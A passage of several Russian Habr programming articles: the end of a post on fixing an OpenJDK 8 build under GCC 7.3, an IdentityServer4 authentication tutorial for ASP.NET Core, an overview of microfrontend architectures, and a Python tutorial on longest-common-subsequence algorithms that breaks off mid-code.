То есть теперь весь вопрос в том, есть ли некое *«explicitly stated otherwise»*. В описании `strcmp` в разделе 7.24.4 ничего подобного не написано, а других разделов у меня для вас нет.
То есть мы здесь имеем undefined behavior.
Конечно, можно взять и переписать этот кусок кода, окружив его проверкой. Но я совершенно не уверен, что правильно понимаю логику людей, которые используют UB там, где его быть не должно. Например, некоторые системы генерят на дереференсинг нуля SIGSERV, и любитель хаков может на это заложиться, но такое поведение не является обязательным и может бахнуть на другой платформе.
Да, конечно, кто-то скажет, что это ты сам себе дурак, что используешь GCC 7.3, а вот в GCC 4 точно бы все собралось. Но ведь undefined behavior != unspecified != implementation defined. Это для последних двух можно закладываться на работу в старом компиляторе. А UB и в шестой версии был UB.
Короче, я совсем взгрустнул над этим сложным философским вопросом (лезть ли со своими предположениями в код), когда внезапно осознал — можно и по-другому.
Есть другой путь
================
Как известно, хорошие герои всегда идут в обход.
Даже если отвлечься от нашей философии про UB, проблем там невероятное количество. Не факт, что их можно починить до утра. Не факт, что я своими кривыми руками не накосячу. Еще менее факт, что это примут в апстрим: последний патч в jdk8u был 6 недель назад, и это был глобальный мердж нового тэга.
Просто представим, что код выше на самом деле написан правильно. Всё, что стоит между нами и его выполнением, — некий warning, который был воспринят как error по причине бага в системе сборки. Но ведь мы можем похачить систему сборки.
Ведьмак Геральт из Ривии говорил когда-то:
> — Зло — это зло, Стрегобор, — серьёзно сказал ведьмак, вставая. — Меньшее, бо́льшее, среднее — всё едино, пропорции условны, а границы размыты. Я не святой отшельник, не только одно добро творил в жизни. Но если приходится выбирать между одним злом и другим, я предпочитаю не выбирать вообще.
>
>
>
> — Zło to zło, Stregoborze — rzekł poważnie wiedźmin wstając. — Mniejsze, większe, średnie, wszystko jedno, proporcje są umowne a granice zatarte. Nie jestem świątobliwym pustelnikiem, nie samo dobro czyniłem w życiu. Ale jeżeli mam wybierać pomiędzy jednym złem a drugim, to wolę nie wybierać wcale.
Это цитата из книги «Последнее желание», рассказ «Меньшее зло». Мы-то знаем, что Геральт почти никогда не мог до конца сыграть роль истинно-нейтрального персонажа, и даже умер по причине очередного классического хаотически-доброго поведения.
Поэтому давайте-ка зашкваримся об меньшее зло. Похачим систему сборки.
В самом начале мы уже видели вот такой выхлоп:
```
grep -rl "Werror" .
./common/autoconf/flags.m4
./hotspot/make/linux/makefiles/gcc.make
./hotspot/make/bsd/makefiles/gcc.make
./hotspot/make/solaris/makefiles/gcc.make
./hotspot/make/aix/makefiles/xlc.make
```
Сравнивая два этих файла, я разбил всё лицо фейспалмом и осознал разницу в культуре двух платформ:
BSD — это история о свободе и возможностях выбора:
```
# Compiler warnings are treated as errors
ifneq ($(COMPILER_WARNINGS_FATAL),false)
WARNINGS_ARE_ERRORS = -Werror
endif
```
GNU/Linux — это авторитарный режим пуристов:
```
# Compiler warnings are treated as errors
WARNINGS_ARE_ERRORS = -Werror
```
Ну ещё бы оно пробрасывалось в linux через `ССXX_FLAGS`, эта переменная при вычислении `WARNINGS_ARE_ERRORS` близко не учитывается! В билде для GNU/Linux у нас просто нет выбора, кроме как следовать спущенным свыше дефолтам.
Ну или можно сделать проще и поменять значение `WARNINGS_ARE_ERRORS` на краткое, но не менее мощное `-w`. Как тебе такое, Илон Маск?
Как вы могли догадаться, это полностью решает данную проблему сборки.
Когда код собирается, вы видите пролетающую мимо кучу странных, жутко выглядящих проблем. Иногда бывало так страшно, что очень хотелось нажать ctrl+C и попробовать разобраться. Но нет, нельзя, нельзя…
Вроде бы всё собралось и не принесло никаких дополнительных проблем. Хотя я, конечно, не решился начать заниматься тестированием. Все-таки ночь, глаза начинают слипаться, а переходить к последнему средству — четырем банкам энергетика из холодильника — как-то пока не хочется.
Падает в корку
==============
Сборка прошла, сгенерированы экзешники, мы молодцы.
И вот мы пришли к финишу. Или не пришли?
Наша сборка лежит по следующему пути:
```
export JAVA_HOME=~/git/jdk8u/build/linux-x86_64-normal-server-fastdebug/jdk
export PATH=$JAVA_HOME/bin:$PATH
```
При попытке запустить исполняемый файл `java` он мгновенно падает в корку. Для тех, кто не знаком — это выглядит примерно так:
При этом у Алекса — Debian 9.5, а у меня — Ubuntu. Две разных версии GCC, две по-разному выглядящие корки. У меня есть невинные шалости с ручным патчем strcmp и еще нескольких мест, у Алекса — нет. В чём же проблема?
Эта история достойна отдельного рассказа, но тут давайте сразу перейдём к сухим выводам, иначе я этот пост не допишу никогда.
Проблема в том, что наши любимые C++-погромисты опять использовали undefined behavior.
(Причем там, где оно неизвестным способом зависит от реализации компилятора. Впрочем, надо помнить, что UB — всегда UB, даже на известной версии компилятора закладываться на него нельзя)
В одном месте мы там обращаются к полю недосконструированного класса, и всё ломается. Не спрашивайте, как так вышло, всё сложно.
Для джависта очень сложно представить, как можно обратиться к недосконструированному классу, кроме как выпустив ссылку на него прямо из конструктора. К счастью, чудесный язык C++ может всё или практически всё. Запишу пример неким псевдокодом:
```
class A
{
A()
{
_b.Show();
}
private:
static B _b;
};
A a;
B A::_b;
int main()
{
}
```
Have a nice debug!
Если поглядеть на C++98 [class.cdtor]:
> For an object of non-POD class type… before the constructor begins execution… referring to any non-static member or base class of the object results in undefined behavior
Начиная с GCC какой-то версии (а у меня 7.3) появилась оптимизация «lifetime dead store elimination», которая считает, что к объекту мы обращаемся только в ходе его лайфтайма, а вне лайфтайма всё выкашивает.
Решение — отключить новые оптимизации и вернуть как было в старых GCC:
```
CFLAGS += -fno-strict-aliasing -fno-lifetime-dse -fno-delete-null-pointer-checks
```
Про это [здесь](https://bugzilla.redhat.com/show_bug.cgi?id=1306558) есть обсуждение.
По какой-то причине участники дискуссии решили, что в апстрим это не включат. Но всё равно надо попробовать заслать.
Добавляем эти опции в наш `./hotspot/make/linux/makefiles/gcc.make`, всё пересобираем ещё раз и видим заветные строчки:
```
t$ ~/git/jdk8u/build/linux-x86_64-normal-server-fastdebug/jdk/bin/java -version
openjdk version "1.8.0-internal-fastdebug"
OpenJDK Runtime Environment (build 1.8.0-internal-fastdebug-me_2018_09_10_08_14-b00)
OpenJDK 64-Bit Server VM (build 25.71-b00-fastdebug, mixed mode)
```
Заключение
==========
Вы, наверное, подумали, что вывод будет следующий: «Java — это какой-то ад, в коде мусор, поддержки нет, всё плохо».
Это не так! Напротив, примеры выше показывают, от какого страшного зла хранят нас наши друзья, некроманты из OpenJDK.
И несмотря на то, что им приходится жить и пользоваться C++, дрожать от каждого UB и изменения версии компилятора и изучать тонкости платформ, финальный пользовательский код на языке Java — безумно стабильный, а на билдах, выложенных на официальных сайтах компаний, таких как Azul, Red Hat и Oracle, вряд ли можно напороться на корку в простом случае.
Единственная печальная штука — скорей всего, найденные ошибки вряд ли примут в jdk8u. Мы взяли JDK 8 просто потому, что нам проще его запатчить прямо здесь и сейчас, а с JDK 11 придется разбираться. Тем не менее, использовать в 2018 году JDK 8 — имхо, это очень плохая практика, и мы делаем это не от хорошей жизни. Возможно, в будущем наша жизнь улучшится, и вы прочитаете ещё множество невероятных историй из мира JDK 11 и JDK 12.
Спасибо за внимание, уделённое столь занудному тексту без картинок :-)
> Минутка рекламы. Совсем скоро пройдёт конференция Joker 2018, на которой будет множество видных специалистов по Java и JVM. Посмотреть полный список спикеров и докладов можно [на официальном сайте](https://jokerconf.com/#schedule). Я там тоже буду, можно будет встретиться и перетереть за жизнь и OpenJDK. | https://habr.com/ru/post/422861/ | null | ru | null |
# Аутентификация asp .net core через IdentityServer4
Тут не будет ничего необычного, один фреймворк «IdentityServer4» будет выполнять аутентификацию по логину и паролю на неком Api, плюс еще обрабатывать refresh\_token.
Работать он будет с существующим IdentityDbContext, IdentityUser.
По итогу получится сценарий при котором, для каждой аутентификации будет выдан и сохранен в таблицу «PersistedGrants» один refresh\_token. Это один из четырех типов разрешений OAuth 2.0:
*Учётные данные владельца ресурса (Resource Owner Password Credentials): используются доверенными приложениями, например приложениями, которые являются частью самого сервиса.*
Все работы по обслуживанию токенов берет на себя фреймворк.
Итак начнем.
Для указания метода разрешения задаются «клиенты», у меня будет один:
**DataLayer.Config**
```
new Client
{
ClientId = _configurationManager.Value.ClientId,
AllowedGrantTypes = GrantTypes.ResourceOwnerPassword, //основной сценарий входа
RequireClientSecret = false, //Client Secret в браузере не понадобится, выключаем
AllowedScopes = { _configurationManager.Value.ApiName,
IdentityServerConstants.StandardScopes.OpenId,
IdentityServerConstants.StandardScopes.Profile},//для получения инфы о пользователе по /connect/userinfo
AllowOfflineAccess = true //включает рефреш-токен
}
```
Далее этого клиента сидируем в базу при ее создании:
**TestIdentityServer.Program**
```
services.GetRequiredService().Initialize();
```
В методе «Initialize» добавлен код для создания необходимых баз и инсерта данных, в том числе клиента. Но до этого необходимо выполнить миграции, потому что создать придется базу из 3х контекстов, где первый контекст IdentityDbContext ApplicationUser, а остальные для IdentityServer4:
**DataLayer.DbInitializer**
```
_context.Database.Migrate();
_configurationDbContext.Database.Migrate();
_persistedGrantDbContext.Database.Migrate();
```
```
if (!_configurationDbContext.Clients.Any())
{
foreach (var client in _config.GetClients().ToList())
{
_configurationDbContext.Clients.Add(client.ToEntity());
}
_configurationDbContext.SaveChanges();
}
```
Миграции:
```
dotnet ef migrations add InitialIdentityServerPersistedGrantDbMigration -c PersistedGrantDbContext -o Data/Migrations/IdentityServer/PersistedGrantDb
dotnet ef migrations add InitialIdentityServerConfigurationDbMigration -c ConfigurationDbContext -o Data/Migrations/IdentityServer/ConfigurationDb
dotnet ef migrations add InitialAuthMigration -c AuthContext -o Data/Migrations/IdentityServer/Auth
```
Ссылка на код будет в конце.
Идем дальше. После задания клиента и создания базы сервер может уже обрабатывать запросы "/connect/token" по логину с паролем и выдавать access\_token с refresh\_token.
По нему же, с указанием refresh\_token, обновить их.
Логин пароль:
refresh\_token
/connect/userinfo
Теперь добавим апи которое будет авторизироваться у IdentityServer4. Его связь с ним будет осуществляться так:
**DataApi.Startup**
```
services.AddAuthentication("Bearer")
.AddIdentityServerAuthentication(options =>
{
options.Authority = settings.Authority; //Адресс сервера http://localhost:5000
options.RequireHttpsMetadata = false;
options.ApiName = settings.ApiName;//api1
});
```
Само апи будет развернуто на другом порту.
Авторизация теперь будет проверяться как обычно атрибутом "[Authorize]".
/api/Default
На этом все, пишите кто че думает или чего не хватает.
[Ссылка на код](https://github.com/AscarGb/TestIdentityServer).
**UPD: Подпись jwt токенов**
Добавил способы подписи: RSA который генерируется при старте и \*.pfx файл сертификата. Соответствующий метод можно переключить в «appsettings.json», свойство «SigningCredentialConfig». | https://habr.com/ru/post/426289/ | null | ru | null |
# Микрофронтеды: достоинства, недостатки и нюансы
Привет, меня зовут Евгений, я PHP-разработчик в Broniboy. Ища в очередной раз на Хабре нужную информацию, поймал себя на мысли, что здесь маловато статей, на пальцах объясняющих суть и особенности применения микрофронтендов. Поэтому хочу добавить в копилку знаний.
### Что такое микрофронтеды
Термин «микрофронтенды» стал входить в обиход с ростом популярности микросервисов. Разработчикам понравилась идея дробления бэкенд-монолита на небольшие, полностью автономные куски кода, и они захотели привнести то же самое во фронтенд-разработку.
Идея микрофронтендов заключается в том, что сайт или веб-приложение представляет собой набор функций, которые разрабатывают отдельные команды. Функции могут иметь совершенно разные цели или решать абсолютно непохожие бизнес-задачи. При этом каждая команда кросс-функциональна и отвечает за полную цепочку реализации функции, от базы данных до UI.
Микрофронтендами могут называть как наборы файлов и конфигураций, так и зависимости, реализующие многократно используемый фрагмент кода, например:
* компонент React, Vue, Angular;
* общая таблица стилей (например, CSS, SCSS);
* клиентская библиотека или утилита;
* любое промежуточное ПО (middleware), модули и провайдеры;
* целая страница или простой UI-элемент;
* небольшая служебная функция или целый микросервис.
Всё это может быть разного уровня сложности и специализированности, однако не стоит делать микрофронтенды слишком общими, чтобы не получить ещё один монолит.
### Проблемы, которые решают микрофронтенды
Почему команды приходят к микрофронтендам? Всё начинается с монолита. В одном месте лежит вся кодовая база, весь пользовательский интерфейс, бизнес-логика и работа с базой данных. Периодически возникают God-классы (которые отвечают за слишком многое в проекте); зачастую код сильно связанный, поэтому какие-то части трудно тестировать, а какие-то практически невозможно, ведь пришлось бы слишком сложно или долго мокать данные.
В результате новичку тяжело мысленно охватить проект, запомнить сразу множество процессов. А рядовым разработчикам приходится мириться с долгой сборкой и бороться с описанными выше проблемами. Есть разные методы борьбы (возможно, некоторые из них вы уже успешно применяли).
### Возможные подходы
Для начала разделим бэкенд и фронтенд на две независимые друг от друга части. Для этого в монолите создадим API-контроллер, от которого клиентское приложение получает данные и что-то показывает пользователю. Что нам даёт такая схема?
Несомненные преимущества:
* Пользовательский интерфейс теперь отделен от бэкенда, клиенту нужно лишь запросить данные и отобразить их.
* При этом клиентский код тоже делится на модули, благодаря чему его проще развивать и поддерживать.
* У каждого элемента на странице свой API-метод, поэтому разработчикам легче ориентироваться в проекте.
Однако есть и недостатки:
* У нас всё ещё огромный бэкенд с кучей источников данных.
* Растёт количество клиентских виджетов, из-за чего увеличивается время сборки.
* Со временем клиентское приложение тоже становится таким себе монолитом, в котором тяжело разобраться.
Теперь у нас более прозрачное клиентское приложение, однако в бэкенде всё ещё непросто разобраться, потому что его кодовая база мало изменилась. Тогда мы дробим API-методы на микросервисы, которые выносим отдельно от монолита. У них появляется своя история развития, свой конвейер, а в будущем, возможно, и своя команда поддержки и развития. Благодаря дроблению бэкенда на микросервисы мы облегчаем кодовую базу монолита и упрощаем его поддержку, снижаем количество побочных эффектов, упрощаем рефакторинг и снижаем входной порог в проект.
Остается вопрос: а что делать с клиентским кодом и как не допустить разрастания монолита, несмотря на все наши попытки его укротить? Самый популярный и жизнеспособный ответ на сегодня: микрофронтенды.
Ключевые идеи
-------------
К ключевым идеям микрофронтендов можно отнести:
* Каждая команда может выбирать для себя технологии без оглядки на другие команды. А подробности реализации очень удобно скрывать за пользовательскими элементами, открыв желающим нейтральный интерфейс.
* У каждой команды должен быть изолированный код. Не нужно использовать общую среду исполнения, даже если вы применяете одну платформу. Приложения должны быть независимыми и автономными, не учитывающие общее состояние или глобальные переменные.
* У каждой команды должен быть свой префикс. Договоритесь о правилах именования в тех случаях, когда не получается соблюдать изоляцию. Для избегания коллизий используйте CSS-пространства имен, события, локальные хранилища и куки.
* Лучше использовать встроенные функции браузера, а не свои API. Для организации связи не надо создавать единую систему отправки и прослушивания событий, для этого есть браузерные события. Но если вам очень нужен межкомандный API, то чем он будет проще, тем лучше.
* Каждая ваша функция должна нести пользу, даже если по каким-то причинам JavаScript пока не удалось выполнить.
* Используйте универсальный рендеринг и прогрессивный рендеринг, чтобы улучшить воспринимаемую производительность.
Если вы будете соблюдать эти условия, то сможете разделить фронтенд-архитектуру на микрофронтенды, за каждый из которых отвечает отдельная команда: создаёт различные версии, тестирует, продумывает способы отображения, занимается развёртыванием и обновлением.
### Варианты применения
Сначала опишу кратко, а затем поговорим подробнее про каждый способ:
* **Страницы и ссылки**. Просто размещаем в своей разметке ссылки на страницы-компоненты других команд.
* **Iframe**. Создаем iframe, который рендерит функциональность, принадлежащую другой команде.
* **Композиция с применением AJAX**. Отправляем AJAX-запрос на URL, полученный, например из data-атрибута, и отображаем результат.
* **Маршрутизация на стороне сервера**. Создаем nginx-сервер, в нём прописываем алиасы на адреса компонентов, и в результате избавляемся от необходимости писать полный путь до компонентов. То есть было http://localhost:3002/team/module/component, а стало team/module/component.
* **Композиция на стороне сервера**. Обычно выполняется сервисом, который находится между браузером и фактическими серверами с приложением. Самое большое преимущество метода в том, что мы отдаем пользователю полностью собранную страницу, в которую не нужно догружать компоненты. Это позволяет достичь отличной скорости отрисовки первого контента.
* **Теневой DOM**. Это способ создать свой, изолированный DOM для компонента. Для этого подключаем скрипт, предоставляемый другой командой, который в теневом DOM определяет «точку вставки» компонента.
А теперь подробнее о каждом подходе.
#### Страницы и ссылки
Этот способ хорошо подходит для тех случаев, когда компонент полностью изолирован и живёт своей жизнью на отдельном URL, почти или совсем не пересекаясь с другой функциональностью приложения. Довольно тривиальный подход, поэтому наиболее распространен.
#### Iframe
У подхода большой недостаток: если все компоненты будут рендериться через iframe, то это будет съедать огромное количество памяти и страница будет жутко тормозить. Но для каких-то очень узких задач вполне полезный подход.
Однако iframe’ы имеют свою реализацию взаимодействия на основе событий postMessage(), которая позволяет прокидывать в iframe данные, поэтому подход можно использовать для реализации микрофронтендов (хотя это делают редко из-за очевидных недостатков). К тому же подход очень плохо согласуется с SEO.
#### Композиция с применением AJAX
Здесь в игру вступает JavaScript. Команда А пишет код, который отправляет get-запрос на URL команды Б. Запрос возвращает нам заметку и мы вставляем её в свою страницу. Это неплохой вариант, особенно в связке со следующим, однако без JS-страница не будет работать вообще.
#### Маршрутизация на стороне сервера
По сути, улучшенная версия предыдущего подхода. Теперь мы поднимаем веб-server, в котором задаем соответствующим командам URL’ы (на картинке показано, как это примерно может выглядеть), куда они будут ходить за компонентами. А дальше всё то же самое: отправляем get-запрос и вставляем разметку. В таком случае только командам, использующим компоненты других команд, нужно поменять URL’ы у себя в коде, остальным ничего делать не надо.
Компонент команды А:
Компонент команды Б:
#### Композиция на стороне сервера
Чаще всего (а может быть и всегда) этот подход реализуют при помощи директив Nginx Server Side Includes. Разработчики вставляют в нужном месте кода директивы SSI (представлены на рисунке ниже), которые nginx потом заменяет на готовую вёрстку. Есть и другие инструменты для реализации этого подхода, но я их упоминать не буду.
Включаем nginx SSI:
Конвейер развёртывания:
#### Теневой DOM
После того, как мы вставили разметку в теневой DOM, браузер выполняет «композицию»: берёт элементы из обычного DOM-дерева и отображает их в соответствующих элементах теневого DOM-дерева. В результате мы получаем именно то, что хотели — компонент, который можно наполнить данными. Чтобы отобразить содержимое, для каждого в теневом DOM браузер ищет slot="..." с таким же именем в обычном DOM.
#### Наилучший вариант
Мы в Broniboy используем лучший с точки зрения производительности и надежности подход — Server Side Composition. Поскольку мы имеем дело с монолитом, нам полезно, что его можно использовать лишь частично. Например, так мы при помощи директив SSI оптимизируем критичные участки в разметке:
Те места, что раньше подгружались AJAX’ом, теперь приходят с сервера композиции целиком. Но теперь мы лучше контролируем все медленные места, они стали предсказуемее, задержка в получении данных минимальна, потому что речь идёт не о загрузке контента клиентом, а об общении сервиса с сервисом. В таком случае мы не зависим от скорости интернета наших клиентов и доставляем им контент так быстро, как только мы вообще способны.
Директивы SSI позволяют оптимизировать критичные участки кода, которые в противном случае пользователю пришлось бы ждать с сервера. Благодаря этой технологии мы можем обеспечить максимально быстрое отображение первого контента для пользователя, что всегда хорошо сказывается на UX и общих показателях сайта. И конечно же, мы получаем все преимущества от повсеместного внедрения микрофронтендов.
Мы решили пока что ограничиться частичным внедрением микрофронтендов, которые будут жить на отдельных URL’ах, получая данны через сессию. Если данных в сессии не хватает, мы просто добираем их из API. Дальше уже работают веб-фреймворки, а при необходимости мы записываем данные в сессию. Не внедряем повсеместно, поскольку пока нет сложностей с масштабированием компонентов и их изоляцией.
### Способы общения компонентов
Актуальные сегодня способы коммуникации компонентов:
* **Parent-Child Communication**. Родитель может взаимодействовать с потомком, то есть мы подключаем к странице предоставляемый другой командой скрипт, например, , в котором создаётся пользовательский HTML-элемент, принимающий данные от родителя с помощью механики custom elements.
* **Child-Parent Communication**. С помощью кастомных событий можно общаться с дочерними компонентами других команд. И таким образом мы можем нативно реагировать на изменения и обрабатывать их.
* **Fragment to Fragment Communication**. Суть та же, что и у подхода Child-Parent Communication, но в данном случае события слушает не родитель, а другой вложенный компонент, который как-то реагирует на эти события реагирует.
### Экосистема вокруг микрофронтендов
При активном внедрении микрофронтендов их вскоре становится очень много. Разработчики могут терять уйму времени на межкомандное взаимодействие, тщетно стараясь найти ответственных за тот или иной компонент. Эту проблему можно решить с помощью инструментов вроде Bit (пример его работы на скриншоте ниже). Он позволяет составлять приложения из независимых компонентов. Причём компоненты могут представлять собой композиции из множества других компонентов (допускается любой уровень конкретности), которые в конечном итоге составляют всё приложение. Для этого применяется рабочее пространство, в котором мы регистрируем исходные компоненты, а затем создаём новые и указываем для них пространства имён.
### Заключение
Микрофронтенды не так просты, и у них есть свои недостатки. Часто возникают трудности с общими стилями и иконками, критичными для всего проекта. Если мы захотим в мире микрофронтендов поменять брендовый цвет с оранжевого на красный, то нам нужно будет попросить все команды изменить этот цвет у себя в компонентах, а в монолите на эту задачу ушло бы от силы 20 минут. Как бы мы ни старались, но в конце-концов монолит никуда не денется, и не стоит считать микрофронтенды технологией, которая позволит навсегда отказаться от монолита. Нам по прежнему нужна единая точка входа на сайт, например, чтобы получать все необходимые стили. Мы также не сможем отказаться от большинства существующих обработчиков обмена данными.
Микрофронтенды слабо связаны между собой, и их достоинства полностью раскрываются лишь при грамотном планировании. Иначе можно получить коллизии имён в разметке (поскольку она общая для всех), проблему с роутингом (которую позволяет решить монолит), проблемы с обновлением дизайна и т.п. Эту технологию, на мой взгляд, разумнее рассматривать с прицелом на будущее, вынося весь новый код в компоненты, и при необходимости выносить туда же критичную функциональность, которую необходимо отображать как можно быстрее.
Микрофронтенды — однозначное добро, необходимо лишь ясно понимать, что мы хотим достичь, и осознанно выбрать самый эффективный подход. Что вам подойдёт лучше всего, серверная композиция или пара iframe на странице? На эти и другие вопросы нужно отвечать с оглядкой на цели и ресурсы проекта.
Источники:
1. Небольшая заметка на Я.Дзене [тут](https://zen.yandex.ru/media/factoria/mikrofrontendy-5fc9d380eb95a537347c95f3)
2. Хорошая статья с примерами [тут](https://russianblogs.com/article/22291227299/) | https://habr.com/ru/post/585912/ | null | ru | null |
# Нахождение максимальной общей подпоследовательности
В настоящей статье я хотел бы сделать обзор популярных алгоритмов для решения задачи нахождения максимальной общей подпоследовательности или LCS (longest common sequense). Так как акцент сделан на обучении, а не на реальном использовании, в качестве языка для реализации выбран Python, что позволит сократить количество кода и сконцентрироваться на основных идеях.
#### Определения
**Последовательность** представляет собой упорядоченный набор элементов. Строка — это частный случай последовательности, дальнейшие примеры будут для простоты рассматривать именно строки, но без изменений их можно использовать и для произвольного текста или чего-нибудь последовательного еще.
Пусть имеется последовательность *x*, состоящая из элементов *x1x2...xm* и последовательность *y*, состоящая из элементов *y1y2...yn*. *z* — подпоследовательность *x* в том случае, если существует строго возрастающий набор индексов элементов *x*, из которых получается *z*.
**Общей подпоследовательностью** для *x* и *y* считаем такую последовательность *z*, которая является одновременно подпоследовательностью *x* и подпоследовательностью *y*.
Максимальная общая подпоследовательность — это общая подпоследовательность с максимальной длинной. Далее по тексту будем использовать сокращение **LCS**.
В качестве примера, пусть *x=**HA**B**R**AHA**BR***, *y=**HARB**OU**R***, в этом случае **LCS(x, y)=HARBR**. Можно уже переходить непосредственно к алгоритму вычисления **LCS**, но, хорошо бы понять, для чего нам может это может понадобиться.
#### Применение на практике
Наиболее частое применение — использование в программах для сравнения файлов, например GNU diff. Имея найденную для двух текстов LCS, составить список элементарных изменений для превращения x в y или обратно задача тривиальная. В качестве бонуса, на основе длины общей подпоследовательности можно задать метрику для определения схожести двух последовательностей. Все, теперь точно можно переходить к делу.
#### Первый подход или народное творчество
Для начала пара наблюдений:
1. Если для последовательностей x и y нами уже вычислена LCS(x, y)=z, то, LCS для последовательностей полученных из x и y путем добавления одинакового элемента, будет состоять из z и этого добавленного элемента
2. Если мы добавим к последовательностям x и y по одному разному элементу, то для полученных таким образом xa и yb, LCS должна быть большая из двух: LCS(x,yb) или LCS(xa,y)
Этих наблюдений уже достаточно, чтобы реализовать рекурсию:
```
def LCS_RECURSIVE(x, y):
if len(x) == 0 or len(y) == 0:
return []
if x[-1] == y[-1]:
return LCS_RECURSIVE(x[:-1], y[:-1]) + [x[-1]]
else:
left = LCS_RECURSIVE(x[:-1], y)
right = LCS_RECURSIVE(x, y[:-1])
return left if len(left) > len(right) else right
```
Теперь можно подумать, что с этой реализацией не так. В наихудшем случае, когда между x и y нет одинаковых элементов LCS\_RECURSIVE вызовется 2len(x)+len(y) раз, при уровне рекурсии len(x)+len(y). Даже если закрыть глаза на производительность, код:
```
from uuid import uuid4
x = [uuid4().hex for _ in xrange(500)]
y = [uuid4().hex for _ in xrange(500)]
print LCS_RECURSIVE(x,y)
```
без дополнительного вызова sys.setrecursionlimit удачно не выполнится. Не самая удачная реализация.
#### Динамическое программирование или 64 кб хватит всем
Рассматриваемый алгоритм также известен как алгоритм Нидлмана—Вунша (Needleman-Wunsch).
Весь подход сводится к поэтапному заполнению матрицы, где строки представляют собой элементы x, а колонки элементы y. При заполнении действуют два правила, вытекающие из уже сделанных наблюдений:
1. Если элемент xi равен yj то в ячейке (i,j) записывается значение ячейки (i-1,j-1) с добавлением единицы
2. Если элемент xi не равен yj то в ячейку (i,j) записывается максимум из значений(i-1,j) и (i,j-1).
Заполнение происходит в двойном цикле по i и j с увеличением значений на единицу, таким образом на каждой итерации нужные на этом шаге значения ячеек уже вычислены:
```
def fill_dyn_matrix(x, y):
L = [[0]*(len(y)+1) for _ in xrange(len(x)+1)]
for x_i,x_elem in enumerate(x):
for y_i,y_elem in enumerate(y):
if x_elem == y_elem:
L[x_i][y_i] = L[x_i-1][y_i-1] + 1
else:
L[x_i][y_i] = max((L[x_i][y_i-1],L[x_i-1][y_i]))
return L
```
Иллюстрация происходящего:
Ячейки, в которых непосредственно происходило увеличение значения подсвечены. После заполнения матрицы, соединив эти ячейки, мы получим искомый LCS. Соединять при этом нужно двигаясь от максимальных индексов к минимальным, если ячейка подсвечена, то добавляем соответствующий элемент к LCS, если нет, то двигаемся вверх или влево в зависимости от того где находится большее значение в матрице:
```
def LCS_DYN(x, y):
L = fill_dyn_matrix(x, y)
LCS = []
x_i,y_i = len(x)-1,len(y)-1
while x_i >= 0 and y_i >= 0:
if x[x_i] == y[y_i]:
LCS.append(x[x_i])
x_i, y_i = x_i-1, y_i-1
elif L[x_i-1][y_i] > L[x_i][y_i-1]:
x_i -= 1
else:
y_i -= 1
LCS.reverse()
return LCS
```
Сложность алогоритма — O(len(x)\*len(y)), такая же оценка по памяти. Таким образом, если я захочу построчно сравнить два файла из 100000 строк, то нужно будет хранить в памяти матрицу из 1010 элементов. Т.е. реальное использование грозит получением MemoryError почти на ровном месте. Перед тем как перейти к следующему алгоритму заметим, что при заполнении матрицы L на каждой итерации по элементам x нам нужна только строка, полученная на предыщем ходу. Т.е. если бы задача ограничивалась только нахождением длины LCS без необходимости вычисления самой LCS, то можно было бы снизить использование памяти до O(len(y)), сохраняя одновременно только две строки матрицы L.
#### Борьба за место или Алгоритм Хишберга (Hirschberg)
Идея в основе этого алгоритма проста: если разделить входную последовательность x=x1x2...xm на две произвольные части по любому граничному индексу i на xb=x1x2...xi и xe=xi+1xi+2...xm, то найдется способ аналогичного разбиения y (найдется такой индекс j, разбивающий y на yb=y1y2...yj и ye=yj+1yj+2...yn), такой, что LCS(x,y) = LCS(xb,yb) + LCS(xe,ye).
Для того, чтобы найти это разбиение y предлагается:
1. Заполнить динамическую матрицу L с помощью fill\_dyn\_matrix для xs и y. L1 приравняем последней строке вычисленной матрицы L
2. Заполнить матрицу L для \*xe и \*y (обратные последовательности для xe и y, в терминах Python: list(reversed(x)), list(reversed(y))). Приравняем \*L2 последнюю строку вычисленной матрицы L, L2 это риверс от \*L2
3. Принять j равным индексу, для которого сумма L1[j]+L2[j] максимальна
Это можно представить, как заполнение матрицы L с двух противоположных концов:
Заметим, что раз есть необходимость только в последней строке матрицы L, то при вычислении хранить всю матрицу не нужно. Немного изменив реализацию fill\_dyn\_matrix получим:
```
def lcs_length(x, y):
curr = [0]*(1 + len(y))
for x_elem in x:
prev = curr[:]
for y_i, y_elem in enumerate(y):
if x_elem == y_elem:
curr[y_i + 1] = prev[y_i] + 1
else:
curr[y_i + 1] = max(curr[y_i], prev[y_i + 1])
return curr
```
Теперь непосредственно, о самом алгоритме. Он представляет собой классический divide and conquer: пока в последовательности x есть элементы, мы делим x пополам, находим подходящее разбиение для y и возвращаем сумму рекурсивных вызовов для пар последовательностей (xb,yb) и (xe,ye). Заметим, что в тривиальном случае, если x состоит из одного элемента и встречается в y мы просто возвращаем последовательность из этого единственного элемента x.
```
def LCS_HIRSHBERG(x, y):
x_len = len(x)
if x_len == 0:
return []
elif x_len == 1:
if x[0] in y:
return [x[0]]
else:
return []
else:
i = x_len // 2
xb, xe = x[:i], x[i:]
L1 = lcs_length(xb, y)
L2 = reversed(lcs_length(xe[::-1], y[::-1]))
SUM = (l1 + l2 for l1,l2 in itertools.izip(L1, L2))
_, j = max((sum_val, sum_i) for sum_i, sum_val in enumerate(SUM))
yb, ye = y[:j], y[j:]
return LCS_HIRSHBERG(xb, yb) + LCS_HIRSHBERG(xe, ye)
```
Теперь требования по памяти у нас O(len(y)), время, необходимое для вычисления, удвоилось, но асимптотически по-прежнему O(len(x)len(y)).
#### Алгоритм Ханта-Шуманского (Hunt-Szymanski Algorithm)
Первое что нам потребуется это создание хэш таблицы matchlist, которая будет содержать индексы элементов второй последовательностей. Время необходимое для этого O(len(y)). Следующий код на питоне делает это:
```
y_matchlist = {}
for index, elem in enumerate(y):
indexes = y_matchlist.setdefault(elem, [])
indexes.append(index)
y_matchlist[elem] = indexes
```
Для последовательности «HARBOUR» хэш будет следующим {'A': [1], 'B': [3], 'H': [0], 'O': [4], 'R': [2, 6], 'U': [5]}.
Далее, перебирая элементы последовательности x, заполняем массив THRESH соответсвующими индексами из заготовленного matchlist, таким образом, что значением k-го элемента THRESH должен быть индекс y\_index, при условии что THRESH[k-1] < y\_index и y\_index < THRESH[k]. Таким образом, в любой момент времени массив THRESH отсортирован и для нахождения подходящего k мы можем использовать бинарный поиск. При обновлении элемента THRESH мы также добавляем соответствующий индексу y\_index элемент последовательности к нашей LCS. Внести ясность может следующий код:
```
x_length, y_length = len(x), len(y)
min_length = min(x_length, y_length)
THRESH = list(itertools.repeat(y_length, min_length+1))
LINK_s1 = list(itertools.repeat(None, min_length+1))
